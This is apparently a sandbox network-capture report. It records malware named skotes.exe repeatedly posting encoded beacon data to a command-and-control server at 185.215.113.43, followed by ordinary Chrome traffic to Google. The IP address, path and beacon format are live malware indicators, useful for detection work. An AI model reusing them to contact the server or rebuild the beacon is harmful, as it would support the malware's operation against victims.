Nov 12, 2024 04:19:38.697805882 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:19:39.604012966 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50191	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:41.233212948 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:19:42.142973900 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50192	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:43.668997049 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:19:44.586729050 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50193	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:46.214935064 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:19:47.125003099 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50194	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:48.651124954 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:19:49.545732021 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50195	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:51.191029072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:19:52.092060089 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50196	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:53.621007919 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:19:54.532454014 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50197	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:56.167093992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:19:57.058393002 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50198	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:19:58.577302933 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:19:59.492439032 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:19:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50199	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:20:01.118398905 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:20:02.023753881 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:20:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50200	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:20:03.542515039 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:20:04.453798056 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:20:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50201	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:20:06.077044964 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:20:06.981431007 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:20:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	142.250.185.100	443	2928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:11 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 03:16:12 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:11 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-GH80uwMyvOK48MU4bFaO0A' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 03:16:12 UTC	112	IN	Data Raw: 33 32 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 68 65 72 65 74 69 63 20 6d 6f 76 69 65 20 65 6e 64 69 6e 67 20 65 78 70 6c 61 69 6e 65 64 22 2c 22 61 75 72 6f 72 61 20 62 6f 72 65 61 6c 69 73 20 6e 6f 72 74 68 65 72 6e 20 6c 69 67 68 74 73 20 66 6f 72 65 63 61 73 74 22 2c 22 6f 76 65 72 77 61 74 63 68 20 63 6c 61 73 73 69 63 20 68 65 Data Ascii: 32b)]}'["",["heretic movie ending explained","aurora borealis northern lights forecast","overwatch classic he
2024-11-12 03:16:12 UTC	706	IN	Data Raw: 72 6f 65 73 22 2c 22 73 61 75 64 69 20 61 72 61 62 69 61 6e 20 64 65 73 65 72 74 20 73 6e 6f 77 66 61 6c 6c 22 2c 22 6d 6f 72 74 67 61 67 65 20 69 6e 74 65 72 65 73 74 20 72 61 74 65 73 22 2c 22 74 65 78 61 73 20 6d 69 63 68 65 6c 69 6e 20 73 74 61 72 20 72 65 73 74 61 75 72 61 6e 74 73 22 2c 22 74 79 72 65 6c 20 64 6f 64 73 6f 6e 20 73 65 61 68 61 77 6b 73 22 2c 22 61 6d 64 20 72 79 7a 65 6e 20 37 20 37 38 30 30 78 33 64 20 76 73 20 39 38 30 30 78 33 64 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 Data Ascii: roes","saudi arabian desert snowfall","mortgage interest rates","texas michelin star restaurants","tyrel dodson seahawks","amd ryzen 7 7800x3d vs 9800x3d"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"Ch
2024-11-12 03:16:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	142.250.185.100	443	2928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:11 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 03:16:12 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 03:16:11 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 03:16:12 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-11-12 03:16:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	142.250.185.100	443	2928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:11 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 03:16:12 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 03:16:12 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 03:16:12 UTC	336	IN	Data Raw: 32 38 64 30 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 28d0)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-12 03:16:12 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-12 03:16:12 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
